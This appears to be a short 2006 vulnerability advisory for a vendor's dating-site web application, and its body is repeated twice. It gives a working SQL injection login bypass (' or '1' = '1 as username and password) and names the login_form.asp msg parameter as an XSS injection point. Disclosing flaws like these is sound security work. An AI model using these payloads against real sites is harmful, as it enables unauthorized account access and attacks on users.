saps.audit@gmail.com
18/11/06, 14:38
vendor site:http://www.hotwebapp.com/
product:Dating Site
bug:injection sql & xss
risk:high
log in with :
username = ' or '1' = '1
passwd = ' or '1' = '1
xss get :
/login_form.asp?msg=[xss here]
laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: saps.audit@gmail.com
product:Dating Site
bug:injection sql & xss
risk:high
log in with :
username = ' or '1' = '1
passwd = ' or '1' = '1
xss get :
/login_form.asp?msg=[xss here]
laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: saps.audit@gmail.com